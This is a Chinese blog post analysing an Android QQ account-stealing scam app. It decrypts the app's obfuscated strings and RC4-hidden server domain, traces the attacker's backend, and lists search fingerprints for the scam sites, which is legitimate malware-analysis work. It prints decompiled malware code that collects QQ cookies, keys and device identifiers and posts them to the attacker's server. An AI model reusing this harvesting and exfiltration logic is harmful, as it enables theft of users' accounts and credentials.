本文主要是介绍解密QQ盗号诈骗APP:逆向溯源,探寻幕后黑色操作,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
逆向溯源qq盗号诈骗app
起因
专注于web漏洞挖掘、内网渗透、免杀和代码审计,感谢各位师傅的关注!网安之路漫长,与君共勉!
分析该app是源于朋友被盗号了,对方发了个app想盗号,这怎么能惯着他?这不得把他揪出来,不过事实证明到最后我也没能把他揪出来,技术有限
逆向过程
拿到样本app后,首先查壳,无壳,现在骗子难道不会加壳吗?管它呢,继续分析,可以看到下图显示出e4a的类名了,同时一些变量函数都是用中文命名的(e4a?初中就玩过的东西,现在居然还有人玩,居然还用来盗号?可耻)
既然如此,我们就寻根溯源试试能不能揪出来这个坟蛋,我们观察一下类名,c0000、c0001、c1、c2、c3、c4、c5,不太能看出来是啥,但是通过mt管理器反编译可以非常直观的看出来依次为 主窗口、窗口x...窗口5,大概就是窗口的加载方法,我们先看看主窗口的,也就是c0000,如下图:
快速过一遍他写的函数,发现其写了防抓包,检测root,获取权限等方法,但我们只需要关注重点即可,可以清楚地看到字符串都被加密了,好家伙,还留有一手,双击抠波666,接下来开始解密,我们可以看到每个加密字符串都是被 bdl.m1333A函数给调用了,那么我们直接看这个函数的声明即可,如下图所示:
import android.util.Base64;
import java.nio.charset.StandardCharsets;
public class bdl {
/* renamed from: 껾금껚걿ꨰ궁깋겸ꨮA곢곫갏 reason: not valid java name and contains not printable characters */
public static String m1333A(String str) {
byte[] decode = Base64.decode(str.getBytes(StandardCharsets.UTF_8), 8);
for (int i = 0; i < decode.length; i++) {
decode[i] = (byte) (decode[i] ^ 38);
}
return new String(decode, StandardCharsets.UTF_8);
}
}
我的天呐,老哥,你在逗我吗,简简单单一个base64加密操作,这里注意一下第二个参数8,查官方说明为进行了url_safe操作:
https://github.com/aosp-mirror/platform_frameworks_base/blob/master/core/java/android/util/Base64.java
遇到这种情况完全不用慌,直接贴出python脚本如下:
import base64
def decrypt_unkonwn(encStr):
missing_padding = 4 - len(encStr) % 4
if missing_padding:
encStr += '=' * missing_padding
unb64Str=base64.urlsafe_b64decode(encStr.encode("utf-8"))
toList=list(unb64Str)
for i in range(len(toList)):
toList[i]=toList[i]^38
print(bytes(toList).decode())
str="RUlIUkNIUhtm"
decrypt_unkonwn(str)
解释一下叭,str为我们需要解密的字符串,自定义函数中的前三行为补齐base64要求的4的整数倍长度,不足补 = 即可,刚好url_safe操作base64库提供了函数urlsafe_b64decode,剩下的只需要注意字节转换即可
这样我们就能查看他的每一个加密值代表的含义了,但是找了一圈,并没有发现他获取数据的vps地址,但是把他整个盗号流程都给分析明白了
接下来我们去找他提交请求的地方,在c5即窗口5类中发现m26函数最后貌似做了一个请求,因为解密T0hCQ14IVk5WGUUbVklVUg的内容为index.php?c=post
于是可以猜测出前面的f25为域名,跟进f25,发现其在c0000类,即主窗口类中初始化:
通过上方代码可以看出我们只需要得到r0即可得到域名主体,因此我们跟进进行解密,往上溯源可以发现经过m946RC4函数
分析该函数发现经过RC4Base函数
分析该函数发现经过initKey函数
这样,我们就得到了一个完整的链条:initKey->RC4Base->m946RC4,最终得到r0,然后再经过一些过滤操作得到最终的主域名,我们逆向我们刚刚分析出的链条即可,贴出代码链如下(其中加密字符串以替换解密结果):
private static byte[] initKey(String str) {
if ((-8168 + 6036) % 6036 > 0) {
int i = -54 + (-54 - -10096);
while (true) {
int i2 = i % i;
}
} else {
try {
byte[] bytes = str.getBytes(bdl.m1333A("GBK"));
byte[] bArr = new byte[256];
for (int i3 = 0; i3 < 256; i3++) {
bArr[i3] = (byte) i3;
}
if (bytes != null) {
if (bytes.length != 0) {
int i4 = 0;
int i5 = 0;
for (int i6 = 0; i6 < 256; i6++) {
i5 = ((bytes[i4] & 255) + (bArr[i6] & 255) + i5) & 255;
byte b = bArr[i6];
bArr[i6] = bArr[i5];
bArr[i5] = b;
i4 = (i4 + 1) % bytes.length;
}
return bArr;
}
}
return null;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}
private static byte[] RC4Base(byte[] bArr, String str) {
byte[] initKey = initKey(str);
byte[] bArr2 = new byte[bArr.length];
int i = 0;
int i2 = 0;
for (int i3 = 0; i3 < bArr.length; i3++) {
i = (i + 1) & 255;
i2 = ((initKey[i] & 255) + i2) & 255;
byte b = initKey[i];
initKey[i] = initKey[i2];
initKey[i2] = b;
bArr2[i3] = (byte) (initKey[((initKey[i] & 255) + (initKey[i2] & 255)) & 255] ^ bArr[i3]);
}
return bArr2;
}
public static String m1333A(String str) {
byte[] decode = Base64.decode(str.getBytes(StandardCharsets.UTF_8), 8);
for (int i = 0; i < decode.length; i++) {
decode[i] = (byte) (decode[i] ^ 38);
}
return new String(decode, StandardCharsets.UTF_8);
}
public static String m946RC4(String str, String str2) {
if (!(str == null || str2 == null)) {
try {
return new String(RC4Base(HexString2Bytes(str), str2), bdl.m1333A("GBK"));
} catch (Exception e) {
e.printStackTrace();
}
}
return "";
}
public static String[] m1152(String str, String str2) {
if ("".equals(str2) || "".equals(str)) {
return new String[0];
}
if (str2.equals(bdl.m1333A("LA"))) {
str = m1165(str, bdl.m1333A("Kw"), "");
}
if (m1161(str, m1163(str2)).equals(str2)) {
return m1158(str2 + str, str2, str2);
}
return m1158(str2 + str + str2, str2, str2);
}
public void m1$() {
this.f3ok1.m618();
if (IntegerVariant.getIntegerVariant(AbstractC0037.m1029SDK()).cmp(ByteVariant.getByteVariant((byte) 23)) >= 0) {
this.f151.m755(C0044.m1152(bdl.m1333A("android.permission.WRITE_EXTERNAL_STORAGE"), bdl.m1333A("-")));
}
C0001.jiekoue = bdl.m1333A("D9C8E1CA037xxxxxxx2B4211D2");
String r0 = C0028.m946RC4(C0001.jiekoue, bdl.m1333A("ssdnun")); //
this.MYDZ = r0;
String[] r02 = C0044.m1152(r0, bdl.m1333A("----"));
this.f11 = r02;
C0001.f25 = r02[0];
C0001.fentai = this.f11[1];
this.f81.m4862(bdl.m1333A("https://ip.useragentinfo.com/json"), bdl.m1333A("UTF-8"));
this.f7.m313(1000);
}
因此我们只需要跟着流程写一下脚本即可,贴出python脚本如下:
import binascii
def initKey(str):
bytesStr=str.encode("GBK")
bArr=[0]*256
for i3 in range(256):
bArr[i3]=i3
i4=0
i5=0
for i6 in range(256):
i5=((bytesStr[i4]&255)+(bArr[i6]&255)+i5)&255
b=bArr[i6]
bArr[i6]=bArr[i5]
bArr[i5]=b
i4=(i4+1)%len(bytesStr)
return bArr
def RC4Base(bArr,str):
inikey=initKey(str)
bArr2=[0]*len(bArr)
i=i2=0
for i3 in range(0,len(bArr)):
i=(i+1)&255
i2=((inikey[i]&255)+i2)&255
b=inikey[i]
inikey[i]=inikey[i2]
inikey[i2]=b
bArr2[i3]=(inikey[((inikey[i]&255)+(inikey[i2]&255))&255]^bArr[i3])
return bArr2
str1='D9C8E1CA037xxxxxxx2B4211D2'
str2='ssdnun'
r0=RC4Base(list(binascii.a2b_hex(str1.encode('utf-8'))),str2)
print(bytes(r0))
由于涉及可恶的盗号人的域名,因此我将部分关键密文给打马了,希望大家不要介意,最终得出对方vps如下:
接下来去看看他的vps,他使用了某开源程序,删除了大部分功能,所有功能就留了一个post请求的功能,接口如下:
POST http://jixxx.xxx.xxine/index.php?c=post HTTP/1.1
Host: jixxx.xxx.xxine
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=bj35ua3kfaaj49t36i9q81u1ig
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
content=@xxxxxxxxxxxxxxxxxxxxxx@
只能说,真可恶,没办法继续渗透下去了,但是通过子域名发现其绑定了很多主机,并且开放了两个phpmyadmin站点,其它大概七八个均为同样的盗号数据回连站点。
分析总结
他是二开了https://www.hadsky.com/home.html的开源代码,但大部分功能均已被删掉。app里还涉及了对盗取的qq的key、token加密的算法,此处我没继续分析,因为分析了也没啥意义,分析该算法只能拿到他盗取的qq的登录凭证,我又不是来盗号的。文中因为多处涉及个人隐私问题,而其站点存在大部分盗取qq的登录凭证,因此所有相关信息处均已打码。
盗取的账号加密分析
想来想去我还是挺难受的,看他每天几百条的骗取别人的qq,心里很难受,我决定做点什么,但又做不了什么,因为我一旦ddos他的vps,他又会换一个vps继续盗号,于是,没事干就分析下加密吧,正好再熟悉熟悉写脚本。
ok,继续分析提交的qq的信息的解密函数,这里还是直接定位到c5窗口的函数m26,贴出解密链代码如下,加密信息已由之前写的解密代码解密:
public void m26() {
if ((15901 - 8648) % -8648 <= 0) {
int i = 16531 + (16531 - -11679);
while (true) {
int i2 = i % i;
}
} else {
if (C0001.bssid.equals("")) {
C0001.bssid = bdl.m1333A("0081b6a7db07");
}
if (C0001.model.equals("")) {
C0001.model = this.f621.m713();
}
if (C0001.brand.equals("")) {
C0001.brand = this.f621.m712();
}
StringBuilder sb = new StringBuilder();
StringBuilder sb2 = new StringBuilder();
StringBuilder sb3 = new StringBuilder();
StringBuilder sb4 = new StringBuilder();
StringBuilder sb5 = new StringBuilder();
StringBuilder sb6 = new StringBuilder();
StringBuilder sb7 = new StringBuilder();
StringBuilder sb8 = new StringBuilder();
StringBuilder sb9 = new StringBuilder();
StringBuilder sb10 = new StringBuilder();
StringBuilder sb11 = new StringBuilder();
StringBuilder sb12 = new StringBuilder();
StringBuilder sb13 = new StringBuilder();
StringBuilder sb14 = new StringBuilder();
sb14.append(bdl.m1333A("程序ID----") + C0001.subappid);
sb14.append(bdl.m1333A("----品牌----"));
sb13.append(sb14.toString());
sb13.append(C0001.brand);
sb12.append(sb13.toString());
sb12.append(bdl.m1333A("----型号----"));
sb11.append(sb12.toString());
sb11.append(C0001.model);
sb10.append(sb11.toString());
sb10.append(bdl.m1333A("----bssid----"));
sb9.append(sb10.toString());
sb9.append(C0001.bssid);
sb8.append(sb9.toString());
sb8.append(bdl.m1333A("----cook----"));
sb7.append(sb8.toString());
sb7.append(C0001.cook);
sb6.append(sb7.toString());
sb6.append(bdl.m1333A("----KEY----"));
sb5.append(sb6.toString());
sb5.append(C0001.f27key);
sb4.append(sb5.toString());
sb4.append(bdl.m1333A("----guid----"));
sb3.append(sb4.toString());
sb3.append(C0001.guid);
sb2.append(sb3.toString());
sb2.append(bdl.m1333A("----qimei----"));
sb.append(sb2.toString());
sb.append(C0001.qimei);
String sb15 = sb.toString();
this.f58 = sb15;
String r2 = bdl.m1333A("888888");
this.f58 = C0028.m944RC4(sb15, r2);
StringBuilder sb16 = new StringBuilder();
StringBuilder sb17 = new StringBuilder();
StringBuilder sb18 = new StringBuilder();
StringBuilder sb19 = new StringBuilder();
StringBuilder sb20 = new StringBuilder();
StringBuilder sb21 = new StringBuilder();
StringBuilder sb22 = new StringBuilder();
StringBuilder sb23 = new StringBuilder();
StringBuilder sb24 = new StringBuilder();
StringBuilder sb25 = new StringBuilder();
StringBuilder sb26 = new StringBuilder();
StringBuilder sb27 = new StringBuilder();
sb27.append(bdl.m1333A("[") + C0001.fentai);
sb27.append(bdl.m1333A("]账号----"));
sb26.append(sb27.toString());
sb26.append(C0001.QQ);
sb25.append(sb26.toString());
sb25.append(bdl.m1333A("----设备参数----"));
sb24.append(sb25.toString());
sb24.append(this.f58);
sb23.append(sb24.toString());
sb23.append(bdl.m1333A("----账号地区----"));
sb22.append(sb23.toString());
sb22.append(C0001.f22);
sb21.append(sb22.toString());
sb21.append(bdl.m1333A("----原始----"));
sb20.append(sb21.toString());
sb20.append(C0001.sjh);
sb19.append(sb20.toString());
sb19.append(bdl.m1333A("----运行时间----"));
sb18.append(sb19.toString());
sb18.append(C0045.m1182(bdl.m1333A("-")));
sb17.append(sb18.toString());
sb17.append(bdl.m1333A("|"));
sb16.append(sb17.toString());
sb16.append(C0045.m1185(bdl.m1333A(":")));
C0001.f23 = sb16.toString();
String str = C0001.f23;
String r3 = bdl.m1333A("UTF-8");
C0001.f23 = C0049.m1261URL(str, r3);//urlencode
this.f57 = C0028.m944RC4(C0001.f23, r2);
Log.m68(bdl.m1333A("这是传递参数") + this.f57);
StringBuilder sb28 = new StringBuilder();
sb28.append(bdl.m1333A("content=@") + this.f57);
sb28.append(bdl.m1333A("@"));
this.f611.m4834(C0001.f25 + bdl.m1333A("index.php?c=post"), sb28.toString(), r3);
/* renamed from: RC4加密 reason: contains not printable characters */
public static String m944RC4(String str, String str2) {
if (!(str == null || str2 == null)) {
try {
byte[] RC4Base = RC4Base(str.getBytes(bdl.m1333A("GBK")), str2);
char[] cArr = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'};
int length = RC4Base.length;
char[] cArr2 = new char[(length * 2)];
int i = 0;
for (byte b : RC4Base) {
int i2 = i + 1;
cArr2[i] = cArr[(b >>> 4) & 15];
i = i2 + 1;
cArr2[i2] = cArr[b & 15];
}
return new String(cArr2);
} catch (Exception e) {
e.printStackTrace();
}
}
return "";
}
我们可以看到还是调用了RC4Base函数,因为上方已经把这个函数用python整理出来了,因此,这里我们直接贴出m944RC4函数的解密脚本:
import ctypes
def int_overflow(val):
maxint = 2147483647
if not -maxint-1 <= val <= maxint:
val = (val + (maxint + 1)) % (2 * (maxint + 1)) - maxint - 1
return val
def unsigned_right_shitf(n,i):
# 数字小于0,则转为32位无符号uint
if n<0:
n = ctypes.c_uint32(n).value
# 正常位移位数是为正数,但是为了兼容js之类的,负数就右移变成左移好了
if i<0:
return -int_overflow(n << abs(i))
#print(n)
return int_overflow(n >> i)
# 参数分别是要移的数字和移多少位
def RC4dec(str):
ret=[]
cArr=['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F']
i=0
for c in range(len(str)//2):
i2=i+1
for b in range(256):
if (cArr[unsigned_right_shitf(b,4) & 15] == str[i]) and (cArr[b&15]==str[i2]) :
ret.append(b)
i = i2 + 1
return ret
def RC4BaseDec(bArr,str):
initkey=initKey(str)
i=i2=0
ret=[0]*len(bArr)
for i3 in range(len(bArr)):
i=(i+1)&255
i2=((initkey[i]&255)+i2)&255
b=initkey[i]
initkey[i]=initkey[i2]
initkey[i2]=b
ret[i3]=(initkey[((initkey[i] & 255) + (initkey[i2] & 255)) & 255])^bArr[i3]
return bytes(ret).decode('GBK')
import urllib.parse
print(urllib.parse.unquote(RC4BaseDec(RC4dec(qqContent),'888888')))//qqcontent为对方提交的加密值,也是网站内留言板部分的值
需要注意的一点是java的无符号右移运算符为 >>> 而python没有无符号右移的运算符,因此上方解密代码中的前两个函数为无符号右移的算法,来看看最终的解密效果:
可以看到上图中设备参数仍是密文,经过反编译的代码可以发现其加密仍是调用了m944RC4函数,因此我们再使用上面的脚本解密一次即可,效果如下:
总结
对方开发的盗号网站特征:
鹰图:web.body="cynocllPHP"
fofa:body="cynocllPHP"
本文由 mdnice 多平台发布
这篇关于解密QQ盗号诈骗APP:逆向溯源,探寻幕后黑色操作的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!